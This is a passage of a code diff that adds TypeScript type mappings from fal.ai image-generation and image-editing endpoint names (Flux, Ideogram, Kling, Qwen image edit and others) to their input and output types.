'fal-ai/flux-lora/image-to-image': { + input: InputFalAiFluxLoraImageToImage + output: OutputFalAiFluxLoraImageToImage + } + 'fal-ai/flux-lora/inpainting': { + input: InputFalAiFluxLoraInpainting + output: OutputFalAiFluxLoraInpainting + } + 'fal-ai/flux-lora/stream': { + input: InputFalAiFluxLoraStream + output: OutputFalAiFluxLoraStream + } + 'fal-ai/flux-pro/kontext': { + input: InputFalAiFluxProKontext + output: OutputFalAiFluxProKontext + } + 'fal-ai/flux-pro/kontext/max': { + input: InputFalAiFluxProKontextMax + output: OutputFalAiFluxProKontextMax + } + 'fal-ai/flux-pro/kontext/max/multi': { + input: InputFalAiFluxProKontextMaxMulti + output: OutputFalAiFluxProKontextMaxMulti + } + 'fal-ai/flux-pro/kontext/max/text-to-image': { + input: InputFalAiFluxProKontextMaxTextToImage + output: OutputFalAiFluxProKontextMaxTextToImage + } + 'fal-ai/flux-pro/kontext/multi': { + input: InputFalAiFluxProKontextMulti + output: OutputFalAiFluxProKontextMulti + } + 'fal-ai/flux-pro/kontext/text-to-image': { + input: InputFalAiFluxProKontextTextToImage + output: OutputFalAiFluxProKontextTextToImage + } + 'fal-ai/flux-pro/v1.1': { + input: InputFalAiFluxProV11 + output: OutputFalAiFluxProV11 + } + 'fal-ai/flux-pro/v1.1-ultra': { + input: InputFalAiFluxProV11Ultra + output: OutputFalAiFluxProV11Ultra + } + 'fal-ai/flux-pro/v1.1-ultra-finetuned': { + input: InputFalAiFluxProV11UltraFinetuned + output: OutputFalAiFluxProV11UltraFinetuned + } + 'fal-ai/flux-pro/v1.1-ultra/redux': { + input: InputFalAiFluxProV11UltraRedux + output: OutputFalAiFluxProV11UltraRedux + } + 'fal-ai/flux-pro/v1.1/redux': { + input: InputFalAiFluxProV11Redux + output: OutputFalAiFluxProV11Redux + } + 'fal-ai/flux-pro/v1/erase': { + /** + * @description Input for the FLUX Erase endpoint. + * + * FLUX Erase removes content from images using a black/white mask. + * @type object + */ + input: InputFalAiFluxProV1Erase + output: OutputFalAiFluxProV1Erase + } + 'fal-ai/flux-pro/v1/fill': { + input: InputFalAiFluxProV1Fill + output: OutputFalAiFluxProV1Fill + } + 'fal-ai/flux-pro/v1/fill-finetuned': { + input: InputFalAiFluxProV1FillFinetuned + output: OutputFalAiFluxProV1FillFinetuned + } + 'fal-ai/flux-pro/v1/vto': { + input: InputFalAiFluxProV1Vto + output: OutputFalAiFluxProV1Vto + } + 'fal-ai/flux-pulid': { + input: InputFalAiFluxPulid + output: OutputFalAiFluxPulid + } + 'fal-ai/flux-vision-upscaler': { + input: InputFalAiFluxVisionUpscaler + output: OutputFalAiFluxVisionUpscaler + } + 'fal-ai/flux/dev': { + input: InputFalAiFluxDev + output: OutputFalAiFluxDev + } + 'fal-ai/flux/dev/image-to-image': { + input: InputFalAiFluxDevImageToImage + output: OutputFalAiFluxDevImageToImage + } + 'fal-ai/flux/dev/redux': { + input: InputFalAiFluxDevRedux + output: OutputFalAiFluxDevRedux + } + 'fal-ai/flux/krea': { + input: InputFalAiFluxKrea + output: OutputFalAiFluxKrea + } + 'fal-ai/flux/krea/image-to-image': { + input: InputFalAiFluxKreaImageToImage + output: OutputFalAiFluxKreaImageToImage + } + 'fal-ai/flux/krea/redux': { + input: InputFalAiFluxKreaRedux + output: OutputFalAiFluxKreaRedux + } + 'fal-ai/flux/schnell': { + input: InputFalAiFluxSchnell + output: OutputFalAiFluxSchnell + } + 'fal-ai/flux/schnell/redux': { + input: InputFalAiFluxSchnellRedux + output: OutputFalAiFluxSchnellRedux + } + 'fal-ai/flux/srpo': { + input: InputFalAiFluxSrpo + output: OutputFalAiFluxSrpo + } + 'fal-ai/flux/srpo/image-to-image': { + input: InputFalAiFluxSrpoImageToImage + output: OutputFalAiFluxSrpoImageToImage + } + 'fal-ai/fooocus': { + input: InputFalAiFooocus + output: OutputFalAiFooocus + } + 'fal-ai/fooocus/image-prompt': { + input: InputFalAiFooocusImagePrompt + output: OutputFalAiFooocusImagePrompt + } + 'fal-ai/fooocus/inpaint': { + input: InputFalAiFooocusInpaint + output: OutputFalAiFooocusInpaint + } + 'fal-ai/fooocus/upscale-or-vary': { + input: InputFalAiFooocusUpscaleOrVary + output: OutputFalAiFooocusUpscaleOrVary + } + 'fal-ai/gemini-25-flash-image': { + input: InputFalAiGemini25FlashImage + output: OutputFalAiGemini25FlashImage + } + 'fal-ai/gemini-25-flash-image/edit': { + input: InputFalAiGemini25FlashImageEdit + output: OutputFalAiGemini25FlashImageEdit + } + 'fal-ai/gemini-3-pro-image-preview': { + input: InputFalAiGemini3ProImagePreview + output: OutputFalAiGemini3ProImagePreview + } + 'fal-ai/gemini-3-pro-image-preview/edit': { + input: InputFalAiGemini3ProImagePreviewEdit + output: OutputFalAiGemini3ProImagePreviewEdit + } + 'fal-ai/gemini-3.1-flash-image-preview': { + input: InputFalAiGemini31FlashImagePreview + output: OutputFalAiGemini31FlashImagePreview + } + 'fal-ai/gemini-3.1-flash-image-preview/edit': { + input: InputFalAiGemini31FlashImagePreviewEdit + output: OutputFalAiGemini31FlashImagePreviewEdit + } + 'fal-ai/glm-image': { + input: InputFalAiGlmImage + output: OutputFalAiGlmImage + } + 'fal-ai/glm-image/image-to-image': { + input: InputFalAiGlmImageImageToImage + output: OutputFalAiGlmImageImageToImage + } + 'fal-ai/gpt-image-1-mini': { + input: InputFalAiGptImage1Mini + output: OutputFalAiGptImage1Mini + } + 'fal-ai/gpt-image-1-mini/edit': { + input: InputFalAiGptImage1MiniEdit + output: OutputFalAiGptImage1MiniEdit + } + 'fal-ai/gpt-image-1.5': { + input: InputFalAiGptImage15 + output: OutputFalAiGptImage15 + } + 'fal-ai/gpt-image-1.5/edit': { + input: InputFalAiGptImage15Edit + output: OutputFalAiGptImage15Edit + } + 'fal-ai/hidream-i1-fast': { + input: InputFalAiHidreamI1Fast + output: OutputFalAiHidreamI1Fast + } + 'fal-ai/hidream-i1-full': { + input: InputFalAiHidreamI1Full + output: OutputFalAiHidreamI1Full + } + 'fal-ai/hidream-i1-full/image-to-image': { + input: InputFalAiHidreamI1FullImageToImage + output: OutputFalAiHidreamI1FullImageToImage + } + 'fal-ai/hidream-o1-image': { + input: InputFalAiHidreamO1Image + output: OutputFalAiHidreamO1Image + } + 'fal-ai/hidream-o1-image/dev': { + input: InputFalAiHidreamO1ImageDev + output: OutputFalAiHidreamO1ImageDev + } + 'fal-ai/hidream-o1-image/dev/edit': { + input: InputFalAiHidreamO1ImageDevEdit + output: OutputFalAiHidreamO1ImageDevEdit + } + 'fal-ai/hidream-o1-image/edit': { + input: InputFalAiHidreamO1ImageEdit + output: OutputFalAiHidreamO1ImageEdit + } + 'fal-ai/hunyuan-image/v2.1/text-to-image': { + input: InputFalAiHunyuanImageV21TextToImage + output: OutputFalAiHunyuanImageV21TextToImage + } + 'fal-ai/hunyuan-image/v3/instruct/edit': { + input: InputFalAiHunyuanImageV3InstructEdit + output: OutputFalAiHunyuanImageV3InstructEdit + } + 'fal-ai/hunyuan-image/v3/instruct/text-to-image': { + input: InputFalAiHunyuanImageV3InstructTextToImage + output: OutputFalAiHunyuanImageV3InstructTextToImage + } + 'fal-ai/hunyuan-image/v3/text-to-image': { + input: InputFalAiHunyuanImageV3TextToImage + output: OutputFalAiHunyuanImageV3TextToImage + } + 'fal-ai/hunyuan_world': { + input: InputFalAiHunyuanWorld + output: OutputFalAiHunyuanWorld + } + 'fal-ai/hy-wu-edit': { + input: InputFalAiHyWuEdit + output: OutputFalAiHyWuEdit + } + 'fal-ai/iclight-v2': { + input: InputFalAiIclightV2 + output: OutputFalAiIclightV2 + } + 'fal-ai/ideogram/character': { + input: InputFalAiIdeogramCharacter + output: OutputFalAiIdeogramCharacter + } + 'fal-ai/ideogram/character/edit': { + input: InputFalAiIdeogramCharacterEdit + output: OutputFalAiIdeogramCharacterEdit + } + 'fal-ai/ideogram/character/remix': { + input: InputFalAiIdeogramCharacterRemix + output: OutputFalAiIdeogramCharacterRemix + } + 'fal-ai/ideogram/object-removal': { + input: InputFalAiIdeogramObjectRemoval + output: OutputFalAiIdeogramObjectRemoval + } + 'fal-ai/ideogram/remove-background': { + input: InputFalAiIdeogramRemoveBackground + output: OutputFalAiIdeogramRemoveBackground + } + 'fal-ai/ideogram/upscale': { + input: InputFalAiIdeogramUpscale + output: OutputFalAiIdeogramUpscale + } + 'fal-ai/ideogram/v2': { + input: InputFalAiIdeogramV2 + output: OutputFalAiIdeogramV2 + } + 'fal-ai/ideogram/v2/edit': { + input: InputFalAiIdeogramV2Edit + output: OutputFalAiIdeogramV2Edit + } + 'fal-ai/ideogram/v2/remix': { + input: InputFalAiIdeogramV2Remix + output: OutputFalAiIdeogramV2Remix + } + 'fal-ai/ideogram/v2/turbo': { + input: InputFalAiIdeogramV2Turbo + output: OutputFalAiIdeogramV2Turbo + } + 'fal-ai/ideogram/v2/turbo/edit': { + input: InputFalAiIdeogramV2TurboEdit + output: OutputFalAiIdeogramV2TurboEdit + } + 'fal-ai/ideogram/v2/turbo/remix': { + input: InputFalAiIdeogramV2TurboRemix + output: OutputFalAiIdeogramV2TurboRemix + } + 'fal-ai/ideogram/v2a': { + input: InputFalAiIdeogramV2A + output: OutputFalAiIdeogramV2A + } + 'fal-ai/ideogram/v2a/remix': { + input: InputFalAiIdeogramV2ARemix + output: OutputFalAiIdeogramV2ARemix + } + 'fal-ai/ideogram/v2a/turbo': { + input: InputFalAiIdeogramV2ATurbo + output: OutputFalAiIdeogramV2ATurbo + } + 'fal-ai/ideogram/v2a/turbo/remix': { + input: InputFalAiIdeogramV2ATurboRemix + output: OutputFalAiIdeogramV2ATurboRemix + } + 'fal-ai/ideogram/v3': { + input: InputFalAiIdeogramV3 + output: OutputFalAiIdeogramV3 + } + 'fal-ai/ideogram/v3/edit': { + input: InputFalAiIdeogramV3Edit + output: OutputFalAiIdeogramV3Edit + } + 'fal-ai/ideogram/v3/generate-transparent': { + input: InputFalAiIdeogramV3GenerateTransparent + output: OutputFalAiIdeogramV3GenerateTransparent + } + 'fal-ai/ideogram/v3/layerize-text': { + input: InputFalAiIdeogramV3LayerizeText + output: OutputFalAiIdeogramV3LayerizeText + } + 'fal-ai/ideogram/v3/reframe': { + input: InputFalAiIdeogramV3Reframe + output: OutputFalAiIdeogramV3Reframe + } + 'fal-ai/ideogram/v3/remix': { + input: InputFalAiIdeogramV3Remix + output: OutputFalAiIdeogramV3Remix + } + 'fal-ai/ideogram/v3/replace-background': { + input: InputFalAiIdeogramV3ReplaceBackground + output: OutputFalAiIdeogramV3ReplaceBackground + } + 'fal-ai/illusion-diffusion': { + input: InputFalAiIllusionDiffusion + output: OutputFalAiIllusionDiffusion + } + 'fal-ai/image-apps-v2/age-modify': { + input: InputFalAiImageAppsV2AgeModify + output: OutputFalAiImageAppsV2AgeModify + } + 'fal-ai/image-apps-v2/city-teleport': { + input: InputFalAiImageAppsV2CityTeleport + output: OutputFalAiImageAppsV2CityTeleport + } + 'fal-ai/image-apps-v2/expression-change': { + input: InputFalAiImageAppsV2ExpressionChange + output: OutputFalAiImageAppsV2ExpressionChange + } + 'fal-ai/image-apps-v2/hair-change': { + input: InputFalAiImageAppsV2HairChange + output: OutputFalAiImageAppsV2HairChange + } + 'fal-ai/image-apps-v2/headshot-photo': { + input: InputFalAiImageAppsV2HeadshotPhoto + output: OutputFalAiImageAppsV2HeadshotPhoto + } + 'fal-ai/image-apps-v2/makeup-application': { + input: InputFalAiImageAppsV2MakeupApplication + output: OutputFalAiImageAppsV2MakeupApplication + } + 'fal-ai/image-apps-v2/object-removal': { + input: InputFalAiImageAppsV2ObjectRemoval + output: OutputFalAiImageAppsV2ObjectRemoval + } + 'fal-ai/image-apps-v2/outpaint': { + input: InputFalAiImageAppsV2Outpaint + output: OutputFalAiImageAppsV2Outpaint + } + 'fal-ai/image-apps-v2/perspective': { + input: InputFalAiImageAppsV2Perspective + output: OutputFalAiImageAppsV2Perspective + } + 'fal-ai/image-apps-v2/photo-restoration': { + input: InputFalAiImageAppsV2PhotoRestoration + output: OutputFalAiImageAppsV2PhotoRestoration + } + 'fal-ai/image-apps-v2/photography-effects': { + input: InputFalAiImageAppsV2PhotographyEffects + output: OutputFalAiImageAppsV2PhotographyEffects + } + 'fal-ai/image-apps-v2/portrait-enhance': { + input: InputFalAiImageAppsV2PortraitEnhance + output: OutputFalAiImageAppsV2PortraitEnhance + } + 'fal-ai/image-apps-v2/product-holding': { + input: InputFalAiImageAppsV2ProductHolding + output: OutputFalAiImageAppsV2ProductHolding + } + 'fal-ai/image-apps-v2/product-photography': { + input: InputFalAiImageAppsV2ProductPhotography + output: OutputFalAiImageAppsV2ProductPhotography + } + 'fal-ai/image-apps-v2/relighting': { + input: InputFalAiImageAppsV2Relighting + output: OutputFalAiImageAppsV2Relighting + } + 'fal-ai/image-apps-v2/style-transfer': { + input: InputFalAiImageAppsV2StyleTransfer + output: OutputFalAiImageAppsV2StyleTransfer + } + 'fal-ai/image-apps-v2/texture-transform': { + input: InputFalAiImageAppsV2TextureTransform + output: OutputFalAiImageAppsV2TextureTransform + } + 'fal-ai/image-apps-v2/virtual-try-on': { + input: InputFalAiImageAppsV2VirtualTryOn + output: OutputFalAiImageAppsV2VirtualTryOn + } + 'fal-ai/image-editing/age-progression': { + input: InputFalAiImageEditingAgeProgression + output: OutputFalAiImageEditingAgeProgression + } + 'fal-ai/image-editing/baby-version': { + /** + * @description Input model for baby version endpoint. + * @type object + */ + input: InputFalAiImageEditingBabyVersion + output: OutputFalAiImageEditingBabyVersion + } + 'fal-ai/image-editing/background-change': { + input: InputFalAiImageEditingBackgroundChange + output: OutputFalAiImageEditingBackgroundChange + } + 'fal-ai/image-editing/broccoli-haircut': { + /** + * @description Input model for broccoli haircut endpoint. + * @type object + */ + input: InputFalAiImageEditingBroccoliHaircut + output: OutputFalAiImageEditingBroccoliHaircut + } + 'fal-ai/image-editing/cartoonify': { + input: InputFalAiImageEditingCartoonify + output: OutputFalAiImageEditingCartoonify + } + 'fal-ai/image-editing/color-correction': { + input: InputFalAiImageEditingColorCorrection + output: OutputFalAiImageEditingColorCorrection + } + 'fal-ai/image-editing/expression-change': { + input: InputFalAiImageEditingExpressionChange + output: OutputFalAiImageEditingExpressionChange + } + 'fal-ai/image-editing/face-enhancement': { + input: InputFalAiImageEditingFaceEnhancement + output: OutputFalAiImageEditingFaceEnhancement + } + 'fal-ai/image-editing/hair-change': { + input: InputFalAiImageEditingHairChange + output: OutputFalAiImageEditingHairChange + } + 'fal-ai/image-editing/object-removal': { + input: InputFalAiImageEditingObjectRemoval + output: OutputFalAiImageEditingObjectRemoval + } + 'fal-ai/image-editing/photo-restoration': { + /** + * @description Input model for photo restoration endpoint. + * @type object + */ + input: InputFalAiImageEditingPhotoRestoration + output: OutputFalAiImageEditingPhotoRestoration + } + 'fal-ai/image-editing/plushie-style': { + /** + * @description Input model for plushie style endpoint. + * @type object + */ + input: InputFalAiImageEditingPlushieStyle + output: OutputFalAiImageEditingPlushieStyle + } + 'fal-ai/image-editing/professional-photo': { + input: InputFalAiImageEditingProfessionalPhoto + output: OutputFalAiImageEditingProfessionalPhoto + } + 'fal-ai/image-editing/realism': { + /** + * @description Input model for realism enhancement endpoint. + * @type object + */ + input: InputFalAiImageEditingRealism + output: OutputFalAiImageEditingRealism + } + 'fal-ai/image-editing/reframe': { + input: InputFalAiImageEditingReframe + output: OutputFalAiImageEditingReframe + } + 'fal-ai/image-editing/retouch': { + /** + * @description Input model for retouch endpoint. + * @type object + */ + input: InputFalAiImageEditingRetouch + output: OutputFalAiImageEditingRetouch + } + 'fal-ai/image-editing/scene-composition': { + input: InputFalAiImageEditingSceneComposition + output: OutputFalAiImageEditingSceneComposition + } + 'fal-ai/image-editing/style-transfer': { + input: InputFalAiImageEditingStyleTransfer + output: OutputFalAiImageEditingStyleTransfer + } + 'fal-ai/image-editing/text-removal': { + /** + * @description Input model for text removal endpoint. + * @type object + */ + input: InputFalAiImageEditingTextRemoval + output: OutputFalAiImageEditingTextRemoval + } + 'fal-ai/image-editing/time-of-day': { + input: InputFalAiImageEditingTimeOfDay + output: OutputFalAiImageEditingTimeOfDay + } + 'fal-ai/image-editing/weather-effect': { + input: InputFalAiImageEditingWeatherEffect + output: OutputFalAiImageEditingWeatherEffect + } + 'fal-ai/image-editing/wojak-style': { + /** + * @description Input model for wojak style endpoint. + * @type object + */ + input: InputFalAiImageEditingWojakStyle + output: OutputFalAiImageEditingWojakStyle + } + 'fal-ai/image-editing/youtube-thumbnails': { + /** + * @description Input model for YouTube thumbnails endpoint. + * @type object + */ + input: InputFalAiImageEditingYoutubeThumbnails + output: OutputFalAiImageEditingYoutubeThumbnails + } + 'fal-ai/image-preprocessors/depth-anything/v2': { + input: InputFalAiImagePreprocessorsDepthAnythingV2 + output: OutputFalAiImagePreprocessorsDepthAnythingV2 + } + 'fal-ai/image-preprocessors/hed': { + input: InputFalAiImagePreprocessorsHed + output: OutputFalAiImagePreprocessorsHed + } + 'fal-ai/image-preprocessors/lineart': { + input: InputFalAiImagePreprocessorsLineart + output: OutputFalAiImagePreprocessorsLineart + } + 'fal-ai/image-preprocessors/midas': { + input: InputFalAiImagePreprocessorsMidas + output: OutputFalAiImagePreprocessorsMidas + } + 'fal-ai/image-preprocessors/mlsd': { + input: InputFalAiImagePreprocessorsMlsd + output: OutputFalAiImagePreprocessorsMlsd + } + 'fal-ai/image-preprocessors/pidi': { + input: InputFalAiImagePreprocessorsPidi + output: OutputFalAiImagePreprocessorsPidi + } + 'fal-ai/image-preprocessors/sam': { + input: InputFalAiImagePreprocessorsSam + output: OutputFalAiImagePreprocessorsSam + } + 'fal-ai/image-preprocessors/scribble': { + input: InputFalAiImagePreprocessorsScribble + output: OutputFalAiImagePreprocessorsScribble + } + 'fal-ai/image-preprocessors/teed': { + input: InputFalAiImagePreprocessorsTeed + output: OutputFalAiImagePreprocessorsTeed + } + 'fal-ai/image-preprocessors/zoe': { + input: InputFalAiImagePreprocessorsZoe + output: OutputFalAiImagePreprocessorsZoe + } + 'fal-ai/image2pixel': { + input: InputFalAiImage2Pixel + output: OutputFalAiImage2Pixel + } + 'fal-ai/image2svg': { + input: InputFalAiImage2Svg + output: OutputFalAiImage2Svg + } + 'fal-ai/imageutils/depth': { + input: InputFalAiImageutilsDepth + output: OutputFalAiImageutilsDepth + } + 'fal-ai/imageutils/marigold-depth': { + input: InputFalAiImageutilsMarigoldDepth + output: OutputFalAiImageutilsMarigoldDepth + } + 'fal-ai/imageutils/rembg': { + input: InputFalAiImageutilsRembg + output: OutputFalAiImageutilsRembg + } + 'fal-ai/instant-character': { + input: InputFalAiInstantCharacter + output: OutputFalAiInstantCharacter + } + 'fal-ai/ip-adapter-face-id': { + input: InputFalAiIpAdapterFaceId + output: OutputFalAiIpAdapterFaceId + } + 'fal-ai/kling-image/o1': { + /** + * @description Request model for Kling O1 Omni Image (legacy). + * @type object + */ + input: InputFalAiKlingImageO1 + output: OutputFalAiKlingImageO1 + } + 'fal-ai/kling-image/o3/image-to-image': { + /** + * @description Request model for Kling O3 Image-to-Image Generation. + * @type object + */ + input: InputFalAiKlingImageO3ImageToImage + /** + * @description Output model for Kling O3 Image Generation. + * @type object + */ + output: OutputFalAiKlingImageO3ImageToImage + } + 'fal-ai/kling-image/o3/text-to-image': { + /** + * @description Request model for Kling O3 Text-to-Image Generation. + * @type object + */ + input: InputFalAiKlingImageO3TextToImage + /** + * @description Output model for Kling O3 Image Generation. + * @type object + */ + output: OutputFalAiKlingImageO3TextToImage + } + 'fal-ai/kling-image/v3/image-to-image': { + /** + * @description Request model for Kling V3 Image-to-Image Generation. + * @type object + */ + input: InputFalAiKlingImageV3ImageToImage + /** + * @description Output model for Kling V3 Image Generation. + * @type object + */ + output: OutputFalAiKlingImageV3ImageToImage + } + 'fal-ai/kling-image/v3/text-to-image': { + /** + * @description Request model for Kling V3 Text-to-Image Generation. + * @type object + */ + input: InputFalAiKlingImageV3TextToImage + /** + * @description Output model for Kling V3 Image Generation. + * @type object + */ + output: OutputFalAiKlingImageV3TextToImage + } + 'fal-ai/kolors': { + input: InputFalAiKolors + output: OutputFalAiKolors + } + 'fal-ai/kolors/image-to-image': { + input: InputFalAiKolorsImageToImage + output: OutputFalAiKolorsImageToImage + } + 'fal-ai/krea-2/turbo': { + input: InputFalAiKrea2Turbo + output: OutputFalAiKrea2Turbo + } + 'fal-ai/krea-2/turbo/lora': { + input: InputFalAiKrea2TurboLora + output: OutputFalAiKrea2TurboLora + } + 'fal-ai/krea-2/turbo/style': { + input: InputFalAiKrea2TurboStyle + output: OutputFalAiKrea2TurboStyle + } + 'fal-ai/leffa/pose-transfer': { + input: InputFalAiLeffaPoseTransfer + output: OutputFalAiLeffaPoseTransfer + } + 'fal-ai/leffa/virtual-tryon': { + input: InputFalAiLeffaVirtualTryon + output: OutputFalAiLeffaVirtualTryon + } + 'fal-ai/live-portrait/image': { + input: InputFalAiLivePortraitImage + output: OutputFalAiLivePortraitImage + } + 'fal-ai/longcat-image': { + input: InputFalAiLongcatImage + output: OutputFalAiLongcatImage + } + 'fal-ai/longcat-image/edit': { + input: InputFalAiLongcatImageEdit + output: OutputFalAiLongcatImageEdit + } + 'fal-ai/lora': { + input: InputFalAiLora + output: OutputFalAiLora + } + 'fal-ai/lora/image-to-image': { + input: InputFalAiLoraImageToImage + output: OutputFalAiLoraImageToImage + } + 'fal-ai/lora/inpaint': { + input: InputFalAiLoraInpaint + output: OutputFalAiLoraInpaint + } + 'fal-ai/luma-photon': { + input: InputFalAiLumaPhoton + output: OutputFalAiLumaPhoton + } + 'fal-ai/luma-photon/flash': { + input: InputFalAiLumaPhotonFlash + output: OutputFalAiLumaPhotonFlash + } + 'fal-ai/luma-photon/flash/modify': { + input: InputFalAiLumaPhotonFlashModify + output: OutputFalAiLumaPhotonFlashModify + } + 'fal-ai/luma-photon/flash/reframe': { + input: InputFalAiLumaPhotonFlashReframe + output: OutputFalAiLumaPhotonFlashReframe + } + 'fal-ai/luma-photon/modify': { + input: InputFalAiLumaPhotonModify + output: OutputFalAiLumaPhotonModify + } + 'fal-ai/luma-photon/reframe': { + input: InputFalAiLumaPhotonReframe + output: OutputFalAiLumaPhotonReframe + } + 'fal-ai/lumina-image/v2': { + input: InputFalAiLuminaImageV2 + output: OutputFalAiLuminaImageV2 + } + 'fal-ai/marigold-v2': { + input: InputFalAiMarigoldV2 + output: OutputFalAiMarigoldV2 + } + 'fal-ai/minimax/image-01': { + input: InputFalAiMinimaxImage01 + output: OutputFalAiMinimaxImage01 + } + 'fal-ai/minimax/image-01/subject-reference': { + input: InputFalAiMinimaxImage01SubjectReference + output: OutputFalAiMinimaxImage01SubjectReference + } + 'fal-ai/moondream-next/detection': { + input: InputFalAiMoondreamNextDetection + output: OutputFalAiMoondreamNextDetection + } + 'fal-ai/moondream3-preview/segment': { + input: InputFalAiMoondream3PreviewSegment + output: OutputFalAiMoondream3PreviewSegment + } + 'fal-ai/moss-image': { + input: InputFalAiMossImage + output: OutputFalAiMossImage + } + 'fal-ai/nafnet/deblur': { + input: InputFalAiNafnetDeblur + output: OutputFalAiNafnetDeblur + } + 'fal-ai/nafnet/denoise': { + input: InputFalAiNafnetDenoise + output: OutputFalAiNafnetDenoise + } + 'fal-ai/nano-banana': { + input: InputFalAiNanoBanana + output: OutputFalAiNanoBanana + } + 'fal-ai/nano-banana-2': { + input: InputFalAiNanoBanana2 + output: OutputFalAiNanoBanana2 + } + 'fal-ai/nano-banana-2/edit': { + input: InputFalAiNanoBanana2Edit + output: OutputFalAiNanoBanana2Edit + } + 'fal-ai/nano-banana-pro': { + input: InputFalAiNanoBananaPro + output: OutputFalAiNanoBananaPro + } + 'fal-ai/nano-banana-pro/edit': { + input: InputFalAiNanoBananaProEdit + output: OutputFalAiNanoBananaProEdit + } + 'fal-ai/nano-banana/edit': { + input: InputFalAiNanoBananaEdit + output: OutputFalAiNanoBananaEdit + } + 'fal-ai/nucleus-image': { + input: InputFalAiNucleusImage + output: OutputFalAiNucleusImage + } + 'fal-ai/object-removal': { + input: InputFalAiObjectRemoval + output: OutputFalAiObjectRemoval + } + 'fal-ai/object-removal/bbox': { + input: InputFalAiObjectRemovalBbox + output: OutputFalAiObjectRemovalBbox + } + 'fal-ai/object-removal/mask': { + input: InputFalAiObjectRemovalMask + output: OutputFalAiObjectRemovalMask + } + 'fal-ai/omnigen-v2': { + input: InputFalAiOmnigenV2 + output: OutputFalAiOmnigenV2 + } + 'fal-ai/patina': { + input: InputFalAiPatina + output: OutputFalAiPatina + } + 'fal-ai/patina/material': { + input: InputFalAiPatinaMaterial + output: OutputFalAiPatinaMaterial + } + 'fal-ai/patina/material/extract': { + input: InputFalAiPatinaMaterialExtract + output: OutputFalAiPatinaMaterialExtract + } + 'fal-ai/phota': { + input: InputFalAiPhota + output: OutputFalAiPhota + } + 'fal-ai/phota/edit': { + input: InputFalAiPhotaEdit + output: OutputFalAiPhotaEdit + } + 'fal-ai/phota/enhance': { + input: InputFalAiPhotaEnhance + output: OutputFalAiPhotaEnhance + } + 'fal-ai/post-processing': { + input: InputFalAiPostProcessing + output: OutputFalAiPostProcessing + } + 'fal-ai/post-processing/blur': { + input: InputFalAiPostProcessingBlur + output: OutputFalAiPostProcessingBlur + } + 'fal-ai/post-processing/chromatic-aberration': { + input: InputFalAiPostProcessingChromaticAberration + output: OutputFalAiPostProcessingChromaticAberration + } + 'fal-ai/post-processing/color-correction': { + input: InputFalAiPostProcessingColorCorrection + output: OutputFalAiPostProcessingColorCorrection + } + 'fal-ai/post-processing/color-tint': { + input: InputFalAiPostProcessingColorTint + output: OutputFalAiPostProcessingColorTint + } + 'fal-ai/post-processing/desaturate': { + input: InputFalAiPostProcessingDesaturate + output: OutputFalAiPostProcessingDesaturate + } + 'fal-ai/post-processing/dissolve': { + input: InputFalAiPostProcessingDissolve + output: OutputFalAiPostProcessingDissolve + } + 'fal-ai/post-processing/dodge-burn': { + input: InputFalAiPostProcessingDodgeBurn + output: OutputFalAiPostProcessingDodgeBurn + } + 'fal-ai/post-processing/grain': { + input: InputFalAiPostProcessingGrain + output: OutputFalAiPostProcessingGrain + } + 'fal-ai/post-processing/parabolize': { + input: InputFalAiPostProcessingParabolize + output: OutputFalAiPostProcessingParabolize + } + 'fal-ai/post-processing/sharpen': { + input: InputFalAiPostProcessingSharpen + output: OutputFalAiPostProcessingSharpen + } + 'fal-ai/post-processing/solarize': { + input: InputFalAiPostProcessingSolarize + output: OutputFalAiPostProcessingSolarize + } + 'fal-ai/post-processing/vignette': { + input: InputFalAiPostProcessingVignette + output: OutputFalAiPostProcessingVignette + } + 'fal-ai/qwen-image': { + input: InputFalAiQwenImage + output: OutputFalAiQwenImage + } + 'fal-ai/qwen-image-2512': { + input: InputFalAiQwenImage2512 + output: OutputFalAiQwenImage2512 + } + 'fal-ai/qwen-image-2512/lora': { + input: InputFalAiQwenImage2512Lora + output: OutputFalAiQwenImage2512Lora + } + 'fal-ai/qwen-image-edit-2509': { + input: InputFalAiQwenImageEdit2509 + output: OutputFalAiQwenImageEdit2509 + } + 'fal-ai/qwen-image-edit-2509-lora': { + input: InputFalAiQwenImageEdit2509Lora + output: OutputFalAiQwenImageEdit2509Lora + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background': { + /** + * @description Input model for Add Background endpoint - Remove white background and add a realistic scene + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryAddBackground + output: OutputFalAiQwenImageEdit2509LoraGalleryAddBackground + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait': { + /** + * @description Input model for Face to Full Portrait endpoint - Generate full portrait from a cropped face image + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortrait + output: OutputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortrait + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo': { + /** + * @description Input model for Group Photo endpoint - Create composite group photos with vintage/retro style + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryGroupPhoto + output: OutputFalAiQwenImageEdit2509LoraGalleryGroupPhoto + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product': { + /** + * @description Input model for Integrate Product endpoint - Blend and integrate products/elements into backgrounds + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryIntegrateProduct + output: OutputFalAiQwenImageEdit2509LoraGalleryIntegrateProduct + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration': { + /** + * @description Input model for Lighting Restoration endpoint - Restore natural lighting by removing harsh shadows and light spots + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryLightingRestoration + output: OutputFalAiQwenImageEdit2509LoraGalleryLightingRestoration + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles': { + /** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryMultipleAngles + output: OutputFalAiQwenImageEdit2509LoraGalleryMultipleAngles + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene': { + /** + * @description Input model for Next Scene endpoint - Create cinematic shot progressions and scene transitions + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryNextScene + output: OutputFalAiQwenImageEdit2509LoraGalleryNextScene + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element': { + /** + * @description Input model for Remove Element endpoint - Remove/delete elements (objects, people, text) from the image + * @type object + */ + input: InputFalAiQwenImageEdit2509LoraGalleryRemoveElement + output: OutputFalAiQwenImageEdit2509LoraGalleryRemoveElement + } + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting': { + 